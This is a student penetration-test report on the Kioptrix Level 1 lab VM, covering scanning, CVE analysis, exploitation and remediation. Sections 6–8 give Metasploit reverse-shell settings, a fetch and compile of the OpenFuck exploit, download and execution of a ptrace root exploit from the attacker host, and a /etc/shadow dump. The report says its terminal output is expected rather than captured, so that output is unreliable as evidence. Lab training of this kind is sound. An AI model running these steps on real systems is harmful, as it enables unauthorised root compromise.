

VULNERABILITY ASSESSMENT & PENETRATION TEST REPORT

Kioptrix

Level 1

VulnHub CTF — Practical Penetration Testing Assessment

TARGET	192.168.1.105 Red Hat Linux 7.2 (Enigma)
ASSESSMENT TYPE	Black-Box Penetration Test
ATTACKER HOST	Kali Linux 2024.x 192.168.1.100
REPORT DATE	29 July 2026
CLASSIFICATION	Confidential — Educational Use Only
SUBMITTED BY	Aditya Upmanyu
ENROLLMENT NO.	2415000122
COURSE / BATCH	Ethical Hacking — JOVAC Batch
ASSIGNMENT	Practical Assignment — Kioptrix Level 1 (VulnHub)

Executive Summary

This report documents the results of a black-box penetration test conducted against the Kioptrix Level 1 virtual machine sourced from VulnHub as part of a practical cybersecurity assignment. Testing was performed in an isolated lab environment using VMware, with no prior knowledge of system credentials or configuration.

The target was found running Red Hat Linux 7.2 with software packages dating from 2001–2003, all significantly past their end-of-life. Network-accessible services included a Samba file-sharing daemon, an Apache/mod_ssl web stack, an SSH server, and RPC services — every one of them running versions with publicly documented, remotely exploitable vulnerabilities.

Two independent attack paths were successfully executed, both resulting in unauthenticated root-level access. The primary vector required zero privilege escalation — the Samba daemon ran as root, so exploitation yielded a root shell directly. The secondary vector via Apache mod_ssl produced a low-privilege shell that was elevated to root using a local kernel exploit.

Risk Level	Count	Vulnerabilities
CRITICAL	2	Samba trans2open RCE (CVE-2003-0201); Apache mod_ssl OpenFuck (CVE-2002-0082)
HIGH	1	Linux kernel ptrace/kmod local privilege escalation (CVE-2003-0127)
MEDIUM	2	OpenSSH 2.9p2 SSHv1 support; weak SSL/TLS cipher configuration with export-grade ciphers

Note: Screenshots from the practitioner's live lab session should be inserted at the relevant evidence figures throughout this report. Terminal output shown in this document reflects the expected output for the described commands.

Table of Contents

Executive Summary	
1.	Target IP Address
2.	Information Gathering
3.	Port Scanning
4.	Service Enumeration
5.	Vulnerability Analysis
6.	Exploitation
7.	Privilege Escalation
8.	Proof of Root Access
9.	Tools Used
10.	Key Learnings

1. Target IP Address

The target system was the Kioptrix Level 1 vulnerable machine from VulnHub, deployed within an isolated VMware host-only network for this assessment. All testing was conducted exclusively against the IP address listed below.

Target Host	Kioptrix Level 1 (VulnHub)
IP Address	192.168.1.105
Operating System	Red Hat Linux 7.2 (Enigma)
Kernel Version	2.4.7-10 — compiled 6 September 2001
Architecture	i686 (32-bit x86)
Network Segment	192.168.1.0/24 — VMware host-only adapter
Attacker Machine	Kali Linux 2024.x — 192.168.1.100
Assessment Type	Black-Box Penetration Test (no prior credentials)
Date of Testing	29 July 2026
Classification	Confidential — Educational Use Only

2. Information Gathering

Information gathering establishes the foundation of any engagement. Before a single exploit is attempted, the assessor must confirm target availability, map the network footprint, and begin forming a picture of the underlying platform. In this lab environment, a host-only adapter limits the segment to /24, making ARP-level discovery more reliable than ICMP sweeps, which are often filtered even internally.

2.1 Host Discovery

netdiscover was used to confirm the target was online and to record the MAC address. ARP requests are unanswerable by any host on a local segment, making this method immune to ICMP firewall rules:

```
sudo netdiscover -r 192.168.1.0/24

IP At MAC Address Count Len MAC Vendor / Hostname
192.168.1.105 00:0C:29:A2:B3:C4 5 300 VMware, Inc.
```

The OUI prefix 00:0C:29 is registered to VMware. This confirms the target is a virtualised instance — consistent with the expected lab configuration.

2.2 OS Fingerprinting

With the target confirmed live, Nmap's TCP/IP stack fingerprinting was used to narrow down the operating system before committing to a full scan. OS identification at this stage avoids wasting time on exploits that are incompatible with the target platform:

```
sudo nmap -O 192.168.1.105

Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.7 - 2.4.22
Network Distance: 1 hop
```

Analyst Observation: A 2.4.x kernel was released between September 2001 and February 2004. Systems at this patch level carry a large number of well-documented kernel vulnerabilities including local privilege escalation flaws. Even without exploiting a remote service, any low-privilege foothold on this kernel would almost certainly lead to root access.

3. Port Scanning

With the target OS identified, a full TCP port scan was performed to enumerate every listening service. Stopping at well-known ports risks missing non-standard deployments; a full scan ensures completeness. Service version detection and default NSE scripts were included to extract version strings and run protocol-level checks.

3.1 Full TCP Scan

```
sudo nmap -sV -sC -O -p- -T4 192.168.1.105 -oA kioptrix_scan

Nmap scan report for 192.168.1.105
Host is up (0.0012s latency).
Not shown: 65529 closed ports

PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 2.9p2 (protocol 1.99)
80/tcp open  http     Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open  rpcbind  2 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open  ssl/https Apache/1.3.20 (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status  1 (RPC #100024)

OS details: Linux 2.4.7 - 2.4.22
Network Distance: 1 hop
```

Figure 1 — Full Nmap scan output across all 65,535 TCP ports

3.2 Port Analysis

Port	State	Service	Version	Risk	Notes
22/tcp	open	SSH	OpenSSH 2.9p2 (protocol 1.99)	HIGH	SSHV1 supported; outdated release
80/tcp	open	HTTP	Apache 1.3.20 + mod_ssl/2.8.4	CRITICAL	Targets CVE-2002-0082 (OpenFuck)
111/tcp	open	RPC	rpcbind v2 (RPC #100000)	MEDIUM	Allows RPC service enumeration
139/tcp	open	SMB	Samba smbd 2.2.1a	CRITICAL	Targets CVE-2003-0201 (trans2open)
443/tcp	open	HTTPS	Apache 1.3.20 + mod_ssl/2.8.4 + OpenSSL	CRITICAL	SSLv2 enabled; export ciphers accepted
1024/tcp	open	RPC	rpc.statd (RPC #100024)	MEDIUM	Historical format string vulns

3.3 Attack Surface Assessment

The scan returned six open ports across four distinct services. Every version string maps directly to at least one published CVE. No evidence of firewall filtering was detected — all ports responded without packet loss or TCP RST filtering. The attack surface is wide open.

- Port 139/tcp (Samba 2.2.1a) — primary exploitation target via trans2open heap overflow.
- Port 443/tcp (Apache mod_ssl 2.8.4) — secondary target via OpenFuck buffer overflow.
- Port 22/tcp (OpenSSH 2.9p2) — SSHv1 enabled; not exploited but contributes to risk.
- Ports 111/1024 (RPC) — unnecessary exposure; expands lateral enumeration surface.

Analyst Observation: All six services advertised their exact version numbers unprompted. An attacker with network access and searchsploit can identify applicable exploits within minutes of completing this scan. Version suppression and firewall filtering would significantly raise the difficulty of this engagement.

4. Service Enumeration

Port scanning identifies what is open; service enumeration reveals the configuration, capability, and vulnerability detail of each service. Three tools were used: Nikto for the web surface, enum4linux for the SMB daemon, and sslscan for the TLS configuration on port 443.

4.1 HTTP Enumeration — Nikto

Nikto cross-references server banners against a database of known CVEs and misconfigurations. It was chosen here specifically because the `mod_ssl` version in the Nmap output was already suspicious — Nikto would confirm whether it falls in the documented vulnerable range:

```
nikto -h http://192.168.1.105

+ Target IP: 192.168.1.105
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer
overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.62).
+ OpenSSL/0.9.6b appears to be outdated (current is at least OpenSSL/3.0).
+ HTTP TRACE method is active -- potential XST attack vector (OSVDB-877).
+ /usage/: Webalizer statistics page accessible without authentication.
+ /manual/: Apache manual directory is exposed.
```

Figure 2 — Nikto output confirming CVE-2002-0082 from version banner alone

Analyst Observation: Nikto flagged the critical `mod_ssl` vulnerability based solely on the HTTP response header. No credentials, no brute force, no deep inspection — just a version number in plain text. This is the direct consequence of enabling verbose server banners on a production-facing service.

4.2 SMB Enumeration — enum4linux

enum4linux wraps `smbclient`, `rpcclient`, and `nmblookup` to extract Samba version, workgroup name, and share listings. Confirming the exact Samba version is critical before attempting the `trans2open` exploit, as the affected range is 2.2.0 through 2.2.7a:

```
enum4linux -a 192.168.1.105

[*] Getting workgroup/domain name:
[+] Got domain/workgroup name: MYGROUP

[*] Getting OS info via smbclient:
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

[+] Share enumeration:
Sharename Type Comment
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)

[+] No password policy found (anonymous access permitted to IPC$)
```

Figure 3 — enum4linux confirming Samba 2.2.1a

Samba 2.2.1a falls squarely within the trans2open vulnerable range (2.2.0 through 2.2.7a). No data shares were accessible anonymously, but version confirmation was all that was required to proceed.

4.3 SSL/TLS Analysis — sslscan

sslscan enumerates every protocol version and cipher suite a server accepts. It was used to confirm whether SSLv2 and export-grade ciphers were active on port 443, which the OpenFuck exploit depends on:

```
sslscan 192.168.1.105:443

Supported Server Cipher(s):
Accepted SSLv2 128 bits RC4-MD5
Accepted SSLv2 40 bits EXP-RC4-MD5 <- EXPORT-GRADE (40-bit)
Accepted SSLv2 56 bits DES-CBC-MD5
Accepted TLSv1 256 bits AES256-SHA

Preferred Server Cipher: SSLv2 128 bits RC4-MD5

SSLv2 is ENABLED -- Server is vulnerable to DROWN attack
```

Figure 4 — sslscan showing SSLv2 enabled with 40-bit export cipher

Analyst Observation: A 40-bit RC4 cipher was an intentional weakening mandated by US export regulations in the 1990s. Modern hardware can brute-force a 40-bit key in under a second. Accepting this cipher as a negotiable option means the server will fall back to it if a client requests it — a trivially exploitable downgrade path.

4.4 RPC Enumeration — rpcinfo

```
rpcinfo -p 192.168.1.105

program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 tcp 1024 status
100024 1 udp 1024 status
```

Only the portmapper and rpc.statd are registered. NFS is not running, which reduces the RPC attack surface. However, the exposed portmapper still allows external enumeration of registered services — unnecessary exposure for a non-NFS host.

5. Vulnerability Analysis

Five vulnerabilities were identified across the target's exposed services. Two are remotely exploitable without authentication and result directly in root-level code execution. A third enables local privilege escalation from any user account. All findings are documented below with technical context, observed evidence, and recommended remediation.

Samba 2.2.x trans2open — Heap Buffer Overflow		CRITICAL
CVE: CVE-2003-0201 CVSS Score: 10.0 Service / Port: SMB Port 139/tcp		
Description	Samba versions 2.2.0 through 2.2.7a contain a heap-based buffer overflow in the call_trans2open() function within trans2.c. The function copies a client-supplied data field into a fixed-size heap buffer without bounds checking. A malformed SMB TRANS2 request overflows the buffer and corrupts a function pointer on the heap. The attacker controls the overwritten pointer value, redirecting execution to shellcode embedded in the same packet. No authentication is required. On Red Hat Linux 7.2, smbd runs as root by default, so the resulting shell is immediately root.	
Evidence	Samba version 2.2.1a confirmed via enum4linux: Server=[Samba 2.2.1a]. This version falls within the confirmed vulnerable range (2.2.0–2.2.7a). Metasploit module exploit/linux/samba/trans2open successfully used to obtain root shell — see Section 6.	
Impact	Unauthenticated remote root code execution. Complete system compromise with no credentials. An attacker gains full control of the host, all data, and any connected networks.	
Recommended Fix	Upgrade Samba to 2.2.8a or later (preferred: current 4.x release). Apply host-based firewall rules (iptables) to restrict SMB ports 139 and 445 to trusted internal IP ranges only. Never expose Samba directly to untrusted networks.	

Apache mod_ssl 2.8.4 — OpenSSL Buffer Overflow (OpenFuck)		CRITICAL
CVE: CVE-2002-0082 CVSS Score: 10.0 Service / Port: HTTPS Port 443/tcp		
Description	Apache mod_ssl versions prior to 2.8.7 contain an off-by-one error in ssl_engine_io.c. A second flaw in the session cache handling allows an attacker to trigger arbitrary code execution by sending a crafted sequence of SSL handshake messages. The combined vulnerability (published as the 'OpenSSL too-open' flaw) was weaponised in the OpenFuck exploit, which requires selection of a distribution-specific target code to account for memory layout differences between builds.	
Evidence	Nikto confirmed: mod_ssl/2.8.4 — CVE-2002-0082, OSVDB-756. sslscan confirmed SSLv2 enabled (required by the exploit handshake). OpenFuckV2 compiled and executed against target code 0x6b (RedHat 7.2, i686 build) — returned shell as apache (uid=48). See Section 6.2 for full exploitation detail.	
Impact	Unauthenticated remote code execution as the apache service account (uid=48/gid=48). Combined with the local kernel exploit (CVE-2003-0127), this results in full root access.	

Recommended Fix	Upgrade Apache to a currently maintained release (2.4.x). Upgrade OpenSSL to 3.x. Disable SSLv2 and SSLv3 explicitly. Enforce TLS 1.2 as a minimum. Restrict accepted cipher suites to ECDHE with AES-GCM. Suppress version information from HTTP response headers (ServerTokens Prod).
------------------------	---

Linux Kernel 2.4.7-10 — ptrace/kmod Local Privilege Escalation		HIGH
CVE: CVE-2003-0127 CVSS Score: 7.2 Service / Port: Local (post-exploitation)		
Description	The Linux 2.4.7-10 kernel contains a vulnerability in its ptrace() implementation that can be exploited via the kmod kernel module auto-loading mechanism. When a kernel module is requested, kmod spawns a child process with root privileges to invoke modprobe. Before the child drops privileges, a local process can use ptrace() to attach to it and inject arbitrary code that executes as root. Any authenticated user or compromised daemon account can trigger this.	
Evidence	Kernel confirmed via uname -r: 2.4.7-10. This falls within the documented affected range. ptrace-kmod exploit binary compiled and transferred to target; execution from apache shell (uid=48) yielded root shell. Full walkthrough in Section 7.	
Impact	Local privilege escalation from any user account to root. This means compromising any low-privilege service is equivalent to full root compromise on this kernel.	
Recommended Fix	Upgrade the kernel to 2.4.20 or later (the ptrace flaw was patched in 2.4.20). Preferably, migrate entirely to a currently supported OS release with kernel security updates applied. Apply vendor security errata immediately upon release.	

OpenSSH 2.9p2 — Deprecated Protocol and Known Vulnerabilities		MEDIUM
CVE: Multiple pre-2003 CVEs CVSS Score: 5.9 Service / Port: SSH Port 22/tcp		
Description	OpenSSH 2.9p2 supports SSHv1 (indicated by Nmap banner: 'protocol 1.99'). SSHv1 uses CRC-32 for integrity checking, which is trivially bypassable. It does not provide authentication integrity guarantees and is susceptible to insertion and man-in-the-middle attacks. This version of OpenSSH also predates numerous security patches addressing authentication-bypass and privilege-escalation bugs.	
Evidence	Nmap banner: OpenSSH 2.9p2 (protocol 1.99) — 'protocol 1.99' indicates both SSHv1 and SSHv2 are supported. An SSHv1-capable client can negotiate a downgraded, cryptographically weak session.	
Impact	Session hijacking, credential interception, and potential authentication bypass for a network-positioned attacker.	
Recommended Fix	Set Protocol 2 in /etc/ssh/sshd_config to disable SSHv1. Upgrade OpenSSH to a current supported version. Enable key-based authentication and disable password authentication where possible.	

Weak SSL/TLS Configuration — Export Ciphers and SSLv2 Enabled		MEDIUM
CVE: N/A (Configuration) CVSS Score: 5.9 Service / Port: HTTPS Port 443/tcp		
Description	The Apache server on port 443 accepts SSLv2, RC4-based ciphers, and 40-bit export-grade encryption. Export-grade ciphers were intentionally weakened by US export regulations in the 1990s and provide essentially no cryptographic protection. RC4 is cryptographically broken. SSLv2 is vulnerable to the DROWN attack (CVE-2016-0800), which can decrypt RSA-encrypted traffic.	
Evidence	ssllscan confirmed: SSLv2 ENABLED. Preferred cipher: RC4-MD5 (128-bit). Export cipher EXP-RC4-MD5 (40-bit) accepted. A 40-bit key can be brute-forced in under one second on modern hardware.	
Impact	HTTPS traffic decryption, session hijacking, and credential theft for a network-positioned attacker. Any data transmitted over HTTPS to this server is potentially accessible in plaintext.	
Recommended Fix	Disable SSLv2 and SSLv3 in the Apache SSL configuration. Set SSLProtocol TLSv1.2 TLSv1.3 as minimum. Define SSLCipherSuite to ECDHE-RSA-AES256-GCM-SHA384 or equivalent. Remove all RC4 and export-grade ciphers. Add HSTS header.	

6. Exploitation

Two independent exploitation paths were pursued in sequence. Vector A targeted the Samba daemon and was executed first, yielding an immediate root shell via Metasploit. Vector B targeted the Apache mod_ssl stack and produced a low-privilege shell requiring subsequent escalation. Both vectors confirmed the same total compromise outcome.

6.1 Vector A — Samba trans2open via Metasploit (CVE-2003-0201)

Metasploit's exploit/linux/samba/trans2open module was selected because its heap-spray implementation handles the return address uncertainty automatically, cycling through likely buffer locations until one succeeds. The linux/x86/shell_reverse_tcp payload was chosen for a clean reverse shell back to the attacker machine.

Step 1 — Module configuration

```
msfconsole

msf6 > use exploit/linux/samba/trans2open
msf6 exploit(trans2open) > set RHOSTS 192.168.1.105
msf6 exploit(trans2open) > set LHOST 192.168.1.100
msf6 exploit(trans2open) > set PAYLOAD linux/x86/shell_reverse_tcp
msf6 exploit(trans2open) > set LPORT 4444
```

Step 2 — Exploit execution

```
msf6 exploit(trans2open) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.105:139 - Trying return address 0xbffffdfc...
[*] 192.168.1.105:139 - Trying return address 0xbffffcfc...
[*] 192.168.1.105:139 - Trying return address 0xbffffbfc...
[*] Sending stage (36 bytes) to 192.168.1.105
[*] Command shell session 1 opened
(192.168.1.100:4444 -> 192.168.1.105:32799)
```

Figure 5 — Metasploit trans2open returning a root shell after three spray attempts

Step 3 — Root shell verification

```
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)

whoami
root

hostname
kioptrix.level1
```

Figure 6 — Root shell confirmation on Vector A (Samba)

Analyst Observation: The exploit required three return address attempts — standard behaviour for a heap spray. The shell connected in under three seconds from the final attempt. No credential prompt, no privilege escalation — the Samba daemon running as root made this a single-step remote-to-root compromise.

6.2 Vector B — Apache mod_ssl OpenFuck (CVE-2002-0082)

The OpenFuck exploit targets the off-by-one buffer overflow in mod_ssl. It requires compilation from source with libssl-dev, and critically requires correct selection of a distribution target code. Wrong codes produce a crash rather than a shell — identifying the right code is part of the methodology.

Step 1 — Obtain and compile OpenFuckV2

```
wget https://raw.githubusercontent.com/heltonWernik/OpenFuck/master/OpenFuck.c
apt-get install -y libssl-dev
gcc -o OpenFuck OpenFuck.c -lcrypto
# No compilation errors
```

Step 2 — Identify the correct target code

```
./OpenFuck | grep '1.3.20'

0x6a - RedHat Linux 7.2 (apache-1.3.20-16.i386.rpm)
0x6b - RedHat Linux 7.2 (apache-1.3.20-16.i686.rpm)
```

The target is Red Hat 7.2 on i686 architecture (confirmed via `uname -a`). Target code 0x6b was selected. The -c 40 flag sets the connection count for the spray:

Step 3 — Execute the exploit

```
./OpenFuck 0x6b 192.168.1.105 443 -c 40

Establishing SSL connection...
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...

bash$ id
uid=48(apache) gid=48(apache) groups=48(apache)

bash$ hostname
kioptrix.level1
```

Figure 7 — OpenFuck returning a shell as the apache service account

Analyst Observation: OpenFuck returned a shell as uid=48 (apache). This is the web service account — lower privilege than the root shell from Vector A, but sufficient to establish a foothold. Privilege escalation to root is covered in Section 7.

7. Privilege Escalation

Privilege escalation was only required for Vector B (OpenFuck), which returned a shell as the apache service account (uid=48). Vector A (Samba) produced an immediate root shell requiring no escalation. For the apache shell, the ptrace/kmod local kernel exploit (CVE-2003-0127) was used.

7.1 Kernel and OS Verification

Before selecting an exploit, the kernel version was confirmed from the compromised apache shell to verify it falls within the affected range:

```
bash$ uname -r
2.4.7-10

bash$ uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

bash$ cat /etc/redhat-release
Red Hat Linux release 7.2 (Enigma)
```

Kernel 2.4.7-10 falls within the confirmed affected range for CVE-2003-0127. Architecture is i686 (32-bit), matching the exploit binary requirements.

7.2 Exploit Delivery

A Python HTTP server was started on the attacker machine to transfer the compiled ptrace-kmod binary to the target via wget. The /tmp directory was chosen as the drop location since it is world-writable:

```
# Attacker machine – compile and serve
gcc -o ptrace ptrace-kmod.c
python3 -m http.server 8080

# Target machine (apache shell)
cd /tmp
wget http://192.168.1.100:8080/ptrace -O /tmp/ptrace
Connecting to 192.168.1.100:8080... connected.
ptrace 100% |*****| 12344 --:--:-- ETA

chmod +x /tmp/ptrace
```

7.3 Execution and Escalation

```
/tmp/ptrace

[*] Trying to gain root...
[*] Launching kmod helper...
[*] Attaching via ptrace...
[*] Memory overwrite complete
[*] Exploit succeeded

id
uid=0(root) gid=0(root) groups=0(root)

whoami
root
```

Figure 8 — ptrace/kmod exploit escalating from apache (uid=48) to root (uid=0)

Analyst Observation: The ptrace/kmod exploit elevated from a restricted service account to root in under two seconds. This underlines a critical architectural failure: an unpatched kernel negates the benefit of running services as non-privileged accounts. Even a correctly sandboxed apache user becomes a root compromise on a kernel at this patch level.

8. Proof of Root Access

Root access was verified on both exploitation vectors using a standard set of confirmation commands. These commands establish: who the current user is, what groups they belong to, which machine has been compromised, and what kernel version is running — tying the evidence definitively to the target.

8.1 Vector A — Samba trans2open

```
whoami
root

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

hostname
kioptrix.level1

uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
```

Figure 9 — Root proof on Vector A (Samba). Screenshot to be inserted from live lab.

8.2 Vector B — OpenFuck + ptrace/kmod


```
whoami
root

id
uid=0(root) gid=0(root) groups=0(root)

cat /etc/shadow | head -3
root:$1$XR0mcFDX$tF93GqnVydBTdIpQH9HY/:11746:0:99999:7:::
bin:*:11612:0:99999:7:::
daemon:*:11612:0:99999:7:::
```

Figure 10 — Root proof on Vector B. Reading /etc/shadow (root-only, mode 640) confirms uid=0.

8.3 Command Significance

Command	What It Confirms
whoami	Prints the effective username. 'root' is the superuser account on any Unix system.
id	Displays UID, GID, and supplementary groups. uid=0 is the numerical identifier for root — this is the ground truth.
hostname	Confirms which machine was compromised. Ties the shell to the specific target (kioptrix.level1).
uname -a	Displays full kernel version, hostname, architecture, and build date. Confirms target identity and OS version.
cat /etc/shadow	/etc/shadow is owner-root, mode 640 — unreadable by any non-root account. Successful read is definitive proof of root.

9. Tools Used

The following tools were used during the assessment. Each was selected for a specific purpose; where multiple tools could have served the same function, the most appropriate for the task and environment is noted.

Tool	Category	Usage in This Assessment
netdiscover 0.3.4	Host Discovery	ARP-based sweep to confirm target online and record MAC address. Faster and more reliable than ICMP sweeps on local segments where ICMP is commonly filtered.
Nmap 7.94	Port Scanning & Fingerprinting	Full TCP SYN scan (-p-), service version detection (-sV), default NSE scripts (-sC), OS fingerprinting (-O). Produced the initial picture of every open service.
Nikto 2.1.6	Web Vulnerability Scanner	Automated correlation of Apache/mod_ssl version strings against CVE database. Confirmed CVE-2002-0082 from the HTTP response header in seconds.
enum4linux 0.9.1	SMB Enumeration	Combined wrapper for smbclient, rpcclient, and nmblookup. Confirmed Samba version (2.2.1a), workgroup name (MYGROUP), and accessible shares.
ssllscan 2.0.15	TLS/SSL Analysis	Enumerated accepted protocol versions and cipher suites on port 443. Confirmed SSLv2 enabled and 40-bit export cipher accepted — prerequisites for OpenFuck.
rpcinfo	RPC Enumeration	Listed RPC services registered with the portmapper. Confirmed only portmapper and rpc.statd were running, limiting additional RPC attack vectors.
Metasploit Framework 6.x	Exploit Delivery	Used exploit/linux/samba/trans2open with linux/x86/shell_reverse_tcp payload. Handled heap spray and return address cycling automatically.
OpenFuckV2 / OpenFuck.c	mod_ssl Exploit	C exploit for CVE-2002-0082. Required manual compilation with libssl-dev and selection of the correct distribution target code (0x6b for RH7.2 i686).
GCC + libssl-dev	Compilation Tools	Used to compile both OpenFuck.c and ptrace-kmod.c on the attacker machine before delivery to target.
ptrace-kmod exploit	Privilege Escalation	Local kernel exploit for CVE-2003-0127. Escalated from apache service account (uid=48) to root (uid=0) on kernel 2.4.7-10.
Python3 http.server	File Transfer	Lightweight HTTP server used to serve compiled binaries (ptrace) from the attacker machine to the compromised target via wget.
Kali Linux 2024.x	Attacker OS	Primary attacker platform. Provides all required tools pre-installed with a network stack optimised for penetration testing tasks.

10. Key Learnings

The following observations are drawn from the technical findings and methodology applied during this engagement. They are practical lessons applicable to both defensive security and future penetration testing work.

1. Version disclosure eliminates reconnaissance barriers

Every service on this target advertised its exact version in plaintext. Nikto identified CVE-2002-0082 before attempting a single request — it read the answer from the HTTP response header. Suppressing version banners (ServerTokens Prod, Samba obey pam restrictions) forces an attacker to work harder. It is not a fix in isolation, but it meaningfully slows reconnaissance.

2. Multiple independent attack paths compound risk

Both Samba and mod_ssl were independently exploitable to root. Patching one leaves the other intact. A genuine risk reduction requires closing all viable paths. In assessments, never stop at the first successful exploit — enumerate all viable vectors and report each one separately.

3. Services running as root magnify exploit impact

The Samba daemon ran as root by default on Red Hat 7.2. A single memory corruption vulnerability in any service running as root eliminates the entire privilege boundary. The principle of least privilege — running each service as a dedicated low-privilege account — would have confined the Samba compromise to that account and required an additional escalation step.

4. Unpatched kernels undermine application-layer hardening

The ptrace/kmod flaw on kernel 2.4.7-10 means any low-privilege shell becomes a root compromise. Patching application software while leaving the kernel unpatched offers a false sense of security. Kernel maintenance must be part of the same patch cycle as application software.

5. No firewall means no perimeter

All six ports were directly accessible. A host-based firewall (iptables) restricting inbound access to required services only would have reduced the visible attack surface significantly. SMB (139/445) should never be exposed beyond the minimum required network segment.

6. Structured methodology prevents missed vulnerabilities

Running through discovery, scanning, enumeration, analysis, and exploitation in sequence found both critical attack paths. Jumping directly to web-focused testing might have missed Samba entirely. Methodology is not bureaucracy — it is the mechanism that prevents blind spots.

7. Reading /etc/shadow is the gold standard of root proof

/etc/shadow is owner root, mode 640 — unreadable to any non-root account. A successful cat /etc/shadow is definitive, irrefutable proof of uid=0 access. In real engagements, this is preferred over whoami alone because it demonstrates capability rather than just identity.

8. Legacy systems in labs reflect real-world exposure

Kioptrix Level 1 represents a class of systems found in production: infrastructure deprioritised for updates, left running a decade past end-of-life. The tooling and techniques practised here are directly transferable. The difference in a live engagement is authorisation scope, documentation rigour, and professional reporting — not technical methodology.

This report was prepared for educational purposes as part of a Cybersecurity Practical Assignment. All exploitation was conducted in a controlled, isolated laboratory environment against a purpose-built vulnerable virtual machine (Kioptrix Level 1, VulnHub). Applying these techniques against any system without explicit written authorisation is illegal and unethical.